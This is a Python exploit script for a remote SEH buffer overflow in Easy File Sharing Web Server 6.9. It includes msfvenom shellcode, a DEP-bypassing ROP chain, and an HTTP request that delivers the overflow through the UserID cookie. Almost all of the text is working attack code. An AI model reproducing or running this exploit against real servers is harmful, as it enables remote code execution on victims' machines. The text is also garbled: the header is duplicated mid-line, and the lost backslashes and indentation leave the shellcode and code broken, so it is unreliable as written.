#!/usr/bin/python

# Exploit Title: Easy File Sharing Web Server 6.9 - 'POST' msg.ghp 'UserID' Remote Buffer Overflow (SEH)(DEP Bypass + ROP)
# Google Dork: inti #!/usr/bin/python

# Exploit Title: Easy File Sharing Web Server 6.9 - 'POST' msg.ghp 'UserID' Remote Buffer Overflow (SEH)(DEP Bypass + ROP)
# Google Dork: intitle:"Login - powered by Easy File Sharing Web Server"
# Version: 6.9
# Date: 2018-09-09
# Author: Hodorsec (hodorsec@protonmail.com)
# Vendor Homepage: http://www.efssoft.com/
# Tested on: Win7 x86 SP1, Win8.1 x64, Win10 build 1703 x64

# Description:
# Exploits the '/msg.ghp' in a HTTP POST request, using the UserID variable. Although more pages are vulnerable for the UserID variable, this one specifically accepts a large request and overwrites SEH.
# Initial discovery by fuzzing with sulley / boofuzz with iterating large requests of about 60000 characters on several pages/parameters.
# Doesn't overwrite SEH when using a more smaller amount of chars on the "msg.ghp" page.
# The 7.2 version includes "sqlite3.dll", which gives far more ROP instructions: the 6.9 version doesn't and had to use some additional ROP instructions just using "imageload.dll" and "fsws.exe".
# Does create DoS after executing exploit payload due to memory flooding.

# Additional note: Although version 7.2 is a newer version, 7.2 still identifies itself with HTTP server-header "Server: Easy File Sharing Web Server v6.9", just like 6.9 does.
# This exploit only works for 6.9

import socket, struct, sys, ssl, time

if len(sys.argv) != 4:
print "Usage: " + sys.argv[0] + " <host> <port> <http/https> "
print "Example: " + sys.argv[0] + " 192.168.1.1 80 http"
print "Example: " + sys.argv[0] + " 192.168.1.1 443 https "
exit()

host = sys.argv[1]
port = int(sys.argv[2])
method = sys.argv[3]

if method == "http":
print "Trying to connect via HTTP..."
elif method == "https":
print "Trying to connect via SSL..."
else:
print " Invalid method given: enter http or https "
exit()

# Size 220
# msfvenom -p windows/exec cmd=calc.exe -f python -v shellcode -b "x00x0dx0ax3b" exitfunc=thread
shellcode = ""
shellcode += "xb8x1fxc0xf7x3fxd9xcfxd9x74x24xf4x5d"
shellcode += "x33xc9xb1x31x31x45x13x03x45x13x83xed"
shellcode += "xe3x22x02xc3xf3x21xedx3cx03x46x67xd9"
shellcode += "x32x46x13xa9x64x76x57xffx88xfdx35x14"
shellcode += "x1bx73x92x1bxacx3exc4x12x2dx12x34x34"
shellcode += "xadx69x69x96x8cxa1x7cxd7xc9xdcx8dx85"
shellcode += "x82xabx20x3axa7xe6xf8xb1xfbxe7x78x25"
shellcode += "x4bx09xa8xf8xc0x50x6axfax05xe9x23xe4"
shellcode += "x4axd4xfax9fxb8xa2xfcx49xf1x4bx52xb4"
shellcode += "x3exbexaaxf0xf8x21xd9x08xfbxdcxdaxce"
shellcode += "x86x3ax6exd5x20xc8xc8x31xd1x1dx8exb2"
shellcode += "xddxeaxc4x9dxc1xedx09x96xfdx66xacx79"
shellcode += "x74x3cx8bx5dxddxe6xb2xc4xbbx49xcax17"
shellcode += "x64x35x6ex53x88x22x03x3exc6xb5x91x44"
shellcode += "xa4xb6xa9x46x98xdex98xcdx77x98x24x04"
shellcode += "x3cx46xc7x8dx48xefx5ex44xf1x72x61xb2"
shellcode += "x35x8bxe2x37xc5x68xfax3dxc0x35xbcxae"
shellcode += "xb8x26x29xd1x6fx46x78xb2xeexd4xe0x1b"
shellcode += "x95x5cx82x63"

def create_rop_chain():
rop_gadgets = [

# (1a) ECX --> flProtect (0x40)
0x1001bd98, # POP ECX # RETN [ImageLoad.dll]
0xffffffff, # Filler
]
for i in range(0,65):
# (1b) ECX --> flProtect (0x40)
rop_gadgets += [
0x10021fd8, # INC ECX # ADD AL,5F # POP ESI # POP EBP # POP EBX # RETN [ImageLoad.dll]
0xffffffff, # Filler
0xffffffff, # Filler
0xffffffff, # Filler
]

rop_gadgets += [
# (2) EBP --> skip 4 bytes
0x1001cbbc, # POP EBP # RETN [ImageLoad.dll]
0x1001cbbc, # skip 4 bytes [ImageLoad.dll]

# (3) EDX --> flAllocationType (0x1000)
# (3a) EAX --> EBX
0x1001fab4, # pop ebx ; xor eax, eax ; ret [ImageLoad.dll]
0xffffffff,
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0xFFFFEFFE, # -1002
0x100231d1, # NEG EAX # RETN [ImageLoad.dll]
0x1001614d, # DEC EAX # RETN [ImageLoad.dll]
0x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x10015442, # POP EAX # RETN [ImageLoad.dll]
0x1004de84, # &Writable location [ImageLoad.dll]
# (3b) EBX --> EDX
0x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]
0x10022c1e, # ADD EDX,EBX # POP EBX # RETN 0x10 [ImageLoad.dll]
0xffffffff, # Filler
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]

# (4) EBX --> dwSize (0x1)
0x100132ba, # POP EBX # RETN [ImageLoad.dll]
0xffffffff, # Filler
0x1001f6da, # INC EBX # ADD AL,83 # RETN [ImageLoad.dll]
0x1001f6da, # INC EBX # ADD AL,83 # RETN [ImageLoad.dll]

# (5) EDI --> ROP NOP in EDI
0x100194c0, # POP EDI # RETN ** [ImageLoad.dll] **
0x1001a858, # RETN (ROP NOP) [ImageLoad.dll]

# (6) ESI --> JMP [EAX]
0x10024632, # POP ESI # RETN [ImageLoad.dll]
0x10021e9d, # JMP [EAX] [ImageLoad.dll]

# (7) EAX --> VirtualAlloc
0x10015442, # POP EAX # RETN ** [ImageLoad.dll] **
0x1004d1fc, # ptr to &VirtualAlloc() [IAT ImageLoad.dll]

# (8) End chain with PUSHAD - needs JMP ESP like instruction
0x100240c2, # PUSHAD # RETN ** [ImageLoad.dll] **

# (9) Craft JMP ESP location by negating, calling via JMP EAX
0x10015442, # POP EAX # RETN ** [ImageLoad.dll] **
0xffbde9c9, # Value to negate for 00421637 ; JMP ESP ** [fsws.exe] **
0x100231d1, # NEG EAX # RET ** [ImageLoad.dll] **
0x10012b14, # jmp eax ** [ImageLoad.dll] **
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

# Flood it
flood = 56924

# NOPsled
nopsled = "x90" * 32

# SEH pointer, large enough to pivot and added lastly due to null-byte in address
seh = "x1ex3fx46" # add esp, 0x1320; ret 0xc; ** [fsws.exe] **

# Filler
filler = struct.pack("<I", 0x1001a858) * ((flood - len(rop_chain + nopsled + shellcode + seh)) / 4) # RETN (ROP NOP) [ImageLoad.dll]

# Building buffer
buf = filler + rop_chain + nopsled + shellcode + "x41" * (flood - len(filler + rop_chain + nopsled + shellcode)) + seh

try:
print "[+] Sending request with " + str(len(buf)) + " bytes..."

httpreq = (
"POST /msg.ghp?forumid=1&id=1 HTTP/1.1 "
"Host: " + host + ":" + str(port) + " "
"Content-Type: application/x-www-form-urlencoded "
"User-Agent: Mozilla/5.0 "
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 "
"Accept-Encoding: gzip, deflate "
"Accept-Language: en-US "
"Cookie: UserID=" + buf + "; PassWD=1234; SESSIONID=1234 "
"Connection: close "
"userid=1234&passwd=1234&content=1234&Update=Update"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if method == "https":
context = ssl._create_unverified_context()
s = context.wrap_socket(s, server_hostname=host)
s.settimeout(2)
s.connect((host, port))
s.send(httpreq)
s.close()

time.sleep(0.5)
except Exception as e:
print(e)
sys.exit(0)